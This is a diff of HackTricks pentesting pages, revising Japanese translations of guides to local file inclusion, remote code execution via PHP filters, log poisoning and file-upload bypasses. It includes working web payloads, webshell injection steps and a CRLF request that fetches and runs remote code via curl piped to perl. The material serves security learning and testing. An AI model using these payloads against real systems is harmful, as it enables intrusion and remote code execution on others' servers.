という名前のファイルが作成され、これを利用して Local File Inclusion (LFI) の脆弱性を悪用できる可能性があります。 -LFIが `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, または `filesize()` のような関数を通じて内部のPHPコードを実行せずにファイルの読み取りのみを行う場合、deserialization vulnerability の悪用を試みることができます。この脆弱性は `phar` プロトコルを用いたファイル読み取りに関連しています。 +LFI が PHP コードを実行せずにファイルを読み取るだけの場合(`file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` などを通じて)、`phar` プロトコルを使用したファイル読み取りに関連するデシリアライズ脆弱性を悪用できる可能性があります。 -For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: +`.phar` ファイルの文脈でデシリアライズ脆弱性を悪用する方法の詳細は、以下のドキュメントを参照してください: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -373,36 +373,36 @@ phar-deserialization.md ### CVE-2024-2961 -PHPのphp filtersをサポートする**any arbitrary file read from PHP that supports php filters**を悪用してRCEを得ることが可能でした。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -非常に短い要約: PHPヒープの**3 byte overflow**が悪用され、特定サイズのフリーチャンクのチェーンを**alter the chain of free chunks**することで任意のアドレスに**write anything in any address**できるようにし、**`system`** を呼ぶフックが追加されました。\ -さらに、より多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。 +PHP がサポートする php filters を利用できる任意のファイル読み取りを悪用して RCE を得ることが可能でした。詳細な説明は [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +ごく簡単な要約:PHP ヒープの **3 byte overflow** を悪用して特定サイズの free chunks のチェーンを **alter** し、任意のアドレスに **write anything** できるようにしたため、`system` を呼ぶフックが追加されました。\ +さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。 ### More protocols Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込みます(file inclusion attack でどのように有用かは不明) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムにアクセス -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL にアクセス -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL にアクセス +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(file inclusion attack においてこれがどのように有用になるかは不明) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへアクセス +- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へアクセス +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へアクセス - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索します(printable な出力を返さないため、ここではあまり役に立ちません) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(出力可能な内容を返さないため、ここではあまり有用ではない) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立ちません) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意ファイル読み取りには役に立たない) ## LFI via PHP's 'assert' -Local File Inclusion (LFI) は、文字列内のコードを実行できる 'assert' 関数を扱う場合に特にリスクが高くなります。特に、".. " のようなディレクトリトラバーサル文字を含む入力がチェックされていても適切にサニタイズされていない場合に問題になります。 +Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のような directory traversal 文字を含む入力をチェックしているが適切にサニタイズしていない場合に特に問題になります。 For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -これはtraversalを防ぐことを目的としていますが、意図せずcode injectionの攻撃ベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます: +これはtraversalを阻止することを目的としていますが、意図せずcode injectionのベクターを作り出してしまいます。reading file contentsを行うためにこれを悪用するには、an attackerは次のように使用できます: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -同様に、任意のシステムコマンドを実行するには、次のようにすることがあります: +同様に、任意のシステムコマンドを実行するには、次のようなものを使うことが考えられます: ```plaintext ' and die(system("id")) or ' ``` @@ -411,36 +411,36 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> この手法は、対象の**PHP関数**が**ファイルにアクセス**する(例: 単純な呼び出し **`file()`** のように)場合で、あなたがその**ファイルパス**を**制御**しているがファイルの内容は表示されないケースに関連します。 +> この手法は、**file path** を **control** できる **PHP function** がファイルへアクセスするが(例: 単純な **`file()`** の呼び出しのように)ファイルの内容が表示されないケースに関連します。 -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +In [**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。 +要約すると、この手法では **"UCS-4LE" encoding** を使い、ファイルの内容を非常に**大きく**して、当該ファイルを開く **PHP function** が **error** を起こすようにします。 -その後、先頭文字を leak するためにフィルタ **`dechunk`** が **base64** や **rot13** のような他のフィルタと一緒に使われ、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って先頭に別の文字を配置し、それらを leak します。 +その後、最初の文字を leak するためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って先頭に他の文字を配置し、それらを leak します。 **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -For the technical details check the mentioned post! +技術的な詳細は前述の投稿を参照してください! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -サーバー側のファイル受け取り/アップロード処理が、ユーザー制御のデータ(例: filename や URL)を使って宛先パスを構築し、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを脱出し任意のファイルを書き込める可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を配置して認証不要の RCE を取得できます。 +サーバー側のコードがアップロード/取り込みファイルの宛先パスをユーザ制御のデータ(例: filename や URL)で組み立て、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。payload を web-exposed なディレクトリに置ければ、通常は webshell を置くことで認証不要の RCE を得られます。 -Typical exploitation workflow: -- パス/ファイル名を受け取りディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカーの write primitive を特定する(例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractor など)。 +典型的な exploitation ワークフロー: +- パス/ファイル名を受け取り、ディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカー(例: メッセージ駆動の取り込み、XML/JSON コマンドハンドラ、ZIP 展開処理など)で書き込みプリミティブを特定する。 - web-exposed なディレクトリを特定する。一般的な例: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- 意図したストレージディレクトリから webroot に抜ける traversal パスを作成し、webshell の内容を含める。 -- 配置したペイロードにブラウザでアクセスし、コマンドを実行する。 + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- 意図したストレージディレクトリを抜けて webroot に到達する traversal パスを作成し、webshell のコンテンツを含める。 +- ドロップした payload にブラウザでアクセスしてコマンドを実行する。 Notes: -- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある(例: TCP 4004 上の JMF XML listener)。メインの web ポータル(別ポート)が後であなたのペイロードを配信することがあります。 -- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されることが多いです。正規化や allow-listing の欠如が根本的な欠陥です。 +- 書き込みを行う脆弱なサービスは非 HTTP ポートで待ち受けている場合があります(例: TCP 4004 の JMF XML リスナー)。メインの web ポータル(別ポート)が後であなたの payload を配信します。 +- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多く、正規化や allow-listing の欠如が根本的な脆弱性です。 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out);
``` -Hardening that defeats this class of bugs: -- 正規化されたパスに解決し、それが allow-listed ベースディレクトリの子孫であることを強制する。 -- `..`、絶対ルート、ドライブ文字を含むパスは拒否する;生成されたファイル名を優先する。 -- writer を低権限アカウントで実行し、書き込みディレクトリを配信ルートから分離する。 +このクラスのバグを防ぐハードニング: +- パスを正規化し、許可リストに登録されたベースディレクトリの配下であることを確認する。 +- `..`、絶対ルート、またはドライブレターを含むパスは拒否し、生成されたファイル名を優先する。 +- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを公開ルートから分離する。 ## Remote File Inclusion 前述の通り、[**follow this link**](#remote-file-inclusion)。 -### Apache/Nginx のログファイル経由 +### Via Apache/Nginx log file -Apache または Nginx サーバが **vulnerable to LFI** の場合、include 関数内から **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスを試み、**user agent** または **GET parameter** に PHP シェル(例 **``**)を設定してそのファイルを include できます。 +If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file > [!WARNING] -> 注意:シェルで **ダブルクォートを使用した場合**、ダブルクォートは文字列 "_**quote;**_" に変更され、**PHP はエラーを発生させます** そこで **何も実行されません**。 +> 注意: シェルに **double quotes** を使うと **simple quotes** の代わりに、ダブルクオートが文字列 "_**quote;**_" に置き換えられ、**PHP はエラーを投げ**て **それ以外は何も実行されません**。 > -> また、**write correctly the payload** を必ず行ってください。さもなければ、ログファイルを読み込むたびに PHP がエラーになり、再挑戦の機会はありません。 +> また、ペイロードを**正しく書き込む**ようにしてください。でないとログファイルを読み込むたびに PHP がエラーになり、二度目のチャンスはありません。 -他のログでも同様の手法が可能ですが、**be careful,** ログ内のコードが URL encoded されているとシェルが壊れる可能性があります。ヘッダ **authorisation "basic"** は Base64 で "user:password" を含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できる可能性があります。\ -その他の可能なログパス: +This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### メール経由 -**メールを送信する** 内部アカウント (user@localhost) 宛てに、`` のような PHP payload を含め、そのユーザーのメールを **`/var/mail/`** や **`/var/spool/mail/`** のようなパスで include してみる +**Send a mail** を内部アカウント (user@localhost) に送り、`` のような PHP ペイロードを含め、ユーザーのメールを **`/var/mail/`** または **`/var/spool/mail/`** のようなパスで include してみる。 ### /proc/*/fd/* 経由 -1. 多数の shells をアップロードする(例: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ここで $PID はプロセスの PID(brute forced 可能)、$FD はファイルディスクリプタ(これも brute forced 可能)です +1. 多数のシェルをアップロードする(例:100) +2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスの PID(ブルートフォース可能)、$FD はファイルディスクリプタ(これもブルートフォース可能) ### /proc/self/environ 経由 -ログファイルと同様に、User-Agent にペイロードを入れて送信すると /proc/self/environ に反映されます +ログファイルと同様に、ペイロードを User-Agent に入れて送信すると /proc/self/environ ファイル内に反映される。 ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### アップロード経由 -もしファイルをアップロードできるなら、そこに shell payload を注入するだけです(例: ``)。 +ファイルをアップロードできる場合は、シェルのペイロードをそのファイルに注入してください(例: `` )。 ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -ファイルの可読性を保つためには、画像、doc、pdfのメタデータに注入するのが最良です +ファイルを可読な状態に保つため、画像/ドキュメント/pdf のメタデータに注入するのが最良です -### Zip file アップロード経由 +### ZIPファイルアップロード経由 -PHP shell を含む圧縮されたZIPファイルをアップロードし、アクセス: +圧縮されたPHP shellを含むZIPファイルをアップロードしてアクセス: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -541,72 +541,72 @@ PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -cookie を `` に設定してください +Cookie を `` に設定してください ``` login=1&user=&pass=password&lang=en_us.php ``` -LFIを使ってPHPのセッションファイルを読み込む +LFIを使ってPHP session fileを含める ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### ssh 経由 +### ssh経由 -ssh が有効な場合、どのユーザが使われているかを確認してください (/proc/self/status & /etc/passwd) と、**\/.ssh/id_rsa** にアクセスを試みます。 +sshが有効な場合、どのユーザが使われているかを確認する(/proc/self/status & /etc/passwd)し、**\/.ssh/id_rsa** にアクセスを試みる。 ### **経由** **vsftpd** _**ログ**_ -FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます: +The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered: -1. ログイン時の username フィールドに PHP ペイロードを注入する。 -2. 注入後、LFI を使ってサーバログ _**/var/log/vsftpd.log**_ を取得する。 +1. ログイン時にユーザー名フィールドに PHP ペイロードを注入する。 +2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。 -### php base64 filter 経由 (using base64) +### php base64 filter経由(base64を使用) -この[記事](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)が示すように、PHP の base64 filter は Non-base64 を無視します。これを利用してファイル拡張子チェックをバイパスできます: base64 を ".php" で終わらせると、"." を無視して "php" を base64 に追加します。以下は例のペイロードです: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### php filters 経由(ファイル不要) +### php filters を使って(ファイル不要) -この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使用して任意のコンテンツを出力**できることを説明しています。これは基本的に、include のために **任意の php コードを生成**でき、**ファイルに書き込む必要がない**ことを意味します。 +この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使って任意のコンテンツを生成して出力する**方法を説明しています。つまり、ファイルに書き込むことなく include のために**任意の php code を生成**できる、ということです。 {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### segmentation fault 経由 +### segmentation fault を使って -ファイルを **アップロード** すると `/tmp` に **一時的** に保存されます。次に **同一リクエスト内で** segmentation fault を発生させると、**一時ファイルが削除されず** に残るため、探すことができます。 +**Upload** したファイルは `/tmp` に **temporary** として保存され、**同一リクエスト内**で **segmentation fault** を発生させると、**一時ファイルは削除されない** ため探すことができます。 {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Nginx の一時ファイル保存を利用 +### Nginx の一時ファイル保存を介して -もし **Local File Inclusion** を見つけ、PHP の前段に **Nginx** が動作している場合、次の手法で RCE を得られる可能性があります: +もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段で動作している場合、以下の手法で RCE を得られるかもしれません: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### PHP_SESSION_UPLOAD_PROGRESS を利用して +### PHP_SESSION_UPLOAD_PROGRESS を使って -session を持っていない場合や `session.auto_start` が `Off` の場合でも **Local File Inclusion** を見つけたら、multipart POST データで **`PHP_SESSION_UPLOAD_PROGRESS`** を提供すると、PHP が自動的にセッションを有効化します。これを悪用して RCE を得ることができます: +もし **Local File Inclusion** を見つけたが **セッションを持っていない**、そして `session.auto_start` が `Off` の場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が **セッションを有効化** します。これを悪用して RCE を得ることができます: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Windows の一時ファイルアップロードを利用して +### Windows の一時ファイルアップロードを使って -もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作しているなら、RCE を得られる可能性があります: +もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作していれば RCE を得られる可能性があります: {{#ref}} @@ -617,47 +617,47 @@ lfi2rce-via-temp-file-uploads.md As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +次のリクエストは `/tmp/hello.php` を作成し、その内容を `` にします: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -以下は CRLF vuln を悪用して RCE を取得する例です (出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +以下は CRLF vuln を悪用して RCE を取得する例です (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### 経由 phpinfo() (file_uploads = on) -もし**Local File Inclusion**を見つけ、かつ**phpinfo()**を公開していて file_uploads = on のファイルがあれば、RCEを得られる可能性があります: +もし**Local File Inclusion**を発見し、**phpinfo()**が file_uploads = on で公開されているファイルがあれば、RCE を得られます: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### 経由 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -もし**Local File Inclusion**を見つけ、一時ファイルの**pathをexfiltrateできる**が、**server**が含めるファイルにPHPのマークがあるかを**checking**している場合、この**Race Condition**でそのチェックを**bypass**できることがあります: +もし**Local File Inclusion**を発見し、テンポラリファイルのパスを**can exfiltrate the path**できるが、**server**が**checking**していて**file to be included has PHP marks**かどうか確認している場合は、この**Race Condition**でその**bypass that check**を試すことができます: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### 経由 eternal waiting + bruteforce -もしLFIを悪用して**upload temporary files**させ、サーバー側でPHP実行を**hang**させられるなら、数時間にわたって**brute force filenames during hours**して一時ファイルを見つけることができます: +もし LFI を悪用して**upload temporary files**ができ、サーバーの PHP 実行を**hang**させられるなら、何時間もかけて**brute force filenames during hours**することでテンポラリファイルを見つけられる可能性があります: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### To Fatal Error +### Fatal Error による -もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを含めると(同じものを2回含める必要があります)そのエラーが発生します。 +もし `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar` のいずれかを含めると(そのエラーを発生させるには同じファイルを2回含める必要があります)。 **I don't know how is this useful but it might be.**\ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 9a40b0a67..ed0e4cfa4 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -3,35 +3,35 @@ {{#include ../../banners/hacktricks-training.md}} -## はじめに +## イントロ -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. つまり、includeのために**generate arbitrary php code** をファイルに書き込むことなく生成できる、ということです。 +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**php filtersを使って任意のコンテンツを生成**して出力できることを説明しています。つまり、ファイルに書き込むことなく`include`用の**任意のphpコードを生成**できるということです。 -基本的には、このスクリプトの目的はファイルの先頭に**generate a Base64**文字列を置き、最終的に**finally decoded**して望むペイロードを得て、それが**interpreted by `include`**されることです。 +このスクリプトの目的は、ファイルの**先頭**に**Base64**文字列を生成し、それを**最終的にデコード**して目的のペイロードを提供し、`include`によって解釈されるようにすることです。 -これを行うための基本は: +これを行うための基本は次のとおりです: - `convert.iconv.UTF8.CSISO2022KR` は常に文字列の先頭に `\x1b$)C` を付加します -- `convert.base64-decode` は非常に寛容で、基本的に有効なbase64でない文字は無視します。予期しない "=" を見つけると問題を起こすことがありますが、それらは `convert.iconv.UTF8.UTF7` フィルタで取り除けます。 +- `convert.base64-decode` は非常に寛容で、有効な base64 でない文字は基本的に無視します。予期しない "=" を見つけると問題を起こすことがありますが、これらは `convert.iconv.UTF8.UTF7` フィルタで除去できます。 -任意のコンテンツを生成するループは次の通りです: +The loop to generate arbitrary content is: -1. 上記のように、文字列の先頭に `\x1b$)C` を付加する -2. 初期のbase64をそのままに保ち、先ほど付加した部分を変換して、そこに含まれる有効なbase64文字が次に挿入したいbase64エンコードされたphpコードの次の部分だけになるようにする一連のiconv変換を適用する -3. 文字列をbase64-decodeしてからbase64-encodeすることで、間にある不要なゴミを除去する -4. 構築したいbase64がまだ完成していなければ、1に戻る -5. 最後にbase64-decodeしてphpコードを得る +1. 先述のように文字列の先頭に `\x1b$)C` を付加する +2. 最初の base64 を保持し、先ほど付加した部分を次の base64 エンコードされた php コードの一部だけが有効な base64 文字になるような文字列に変換するような iconv 変換チェーンを適用する +3. 文字列を base64-decode してから base64-encode し、中間のゴミを取り除く +4. 作成したい base64 がまだ完成していなければ 1 に戻る +5. php コードを得るために base64-decode する > [!WARNING] -> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! +> **Includes** は通常ファイル名の末尾に **".php" を追加**するなどの処理を行います。これは exploit の難易度を上げる可能性があり、exploit を壊さない内容の .php ファイルを見つける必要が出てくることがあります... あるいは `php://temp` を resource として使うだけでよく、これは名前に何かを追加しても(例: lie + ".php")それでも exploit が機能します! -## 生成したデータにサフィックスを追加する方法 +## 出力データにサフィックスを追加する方法 -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. 出力を特定のフォーマット(json のような、あるいは PNG のマジックバイトを追加するような)にする必要がある場合に便利です。 +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) は、PHP filters を使って結果の文字列にサフィックスを追加する方法を説明しています。出力を特定の形式(例えば json や PNG のマジックバイトを追加するなど)にする必要がある場合に便利です。 ## 自動ツール -- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) +- https://github.com/synacktiv/php_filter_chain_generator - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** ## フルスクリプト @@ -94,9 +94,9 @@ r = requests.get(url, params={ print(r.text) ``` -### Improvements +### 改善点 -以前のスクリプトは、そのペイロードに必要な base64 文字だけに限定されていました。したがって、私は独自のスクリプトを作成して **bruteforce all the base64 characters**: +前のスクリプトは、そのペイロードに必要な base64 文字に限定されていました。そこで、私は**bruteforce all the base64 characters**する自作スクリプトを作成しました: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -165,7 +165,7 @@ conversions = { '=': '' } ``` -各 b64 文字を生成するエンコーディングを取得するための**script**は次のとおりです: +各 b64 文字を生成するエンコーディングを取得するための **script** はこちらです: ```php AAA.php +7. **Windows** の **NTFS alternate data stream (ADS)** を使用する手法。禁止された拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置く。結果として、サーバー上に**禁止拡張子だけの空ファイル**が作成される(例: "file.asax:.jpg")。このファイルは後で short filename などを用いて編集される可能性がある。"**::$data**" パターンを使って非空のファイルを作成することもできるため、このパターンの後にドットを付けることでさらなる制限を回避できることがある(例: "file.asp::$data.")。 +8. ファイル名の長さ制限を破ってみる。有効な拡張子が切り落とされ、悪意ある PHP が残る。AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type, Magic Number, 圧縮 & リサイズのバイパス +### Bypass Content-Type, Magic Number, Compression & Resizing -- Content-Type チェックは Content-Type ヘッダの値を次のように設定して回避できます: _image/png_, _text/plain_, application/octet-stream -1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- magic number チェックは、ファイルの先頭に本物の画像のバイト列を追加して回避できます(file コマンドを混乱させる)。あるいはシェルをメタデータ内に埋め込むことも可能です:\ +- Content-Type チェックは、リクエストヘッダの Content-Type を次のように設定して回避することができる: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type の wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- magic number チェックは、ファイルの先頭に実際の画像のバイトを追加して(file コマンドを混乱させる)、あるいはメタデータ内にシェルを埋め込むことで回避できる:\ `exiftool -Comment="' >> img.png` -- 画像に対して圧縮が行われる場合(たとえば PHP-GD のようなライブラリを使っている場合)、上記の手法は有効でないことがあります。その場合は **PLTE chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) といった方法で、圧縮に耐えるテキストを挿入できます。 +- もし画像に対して圧縮が行われる場合(例えば PHP-GD のような標準的な PHP ライブラリを使っている場合)、前述の手法は有効でないことがある。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るテキストを挿入できる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- ウェブページが画像をリサイズしている場合(例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用)、先の手法は効かないことがありますが、**IDAT chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) で圧縮に耐えるテキストを挿入できます。 +- Web ページが画像を **リサイズ**(例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用)している場合でも、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 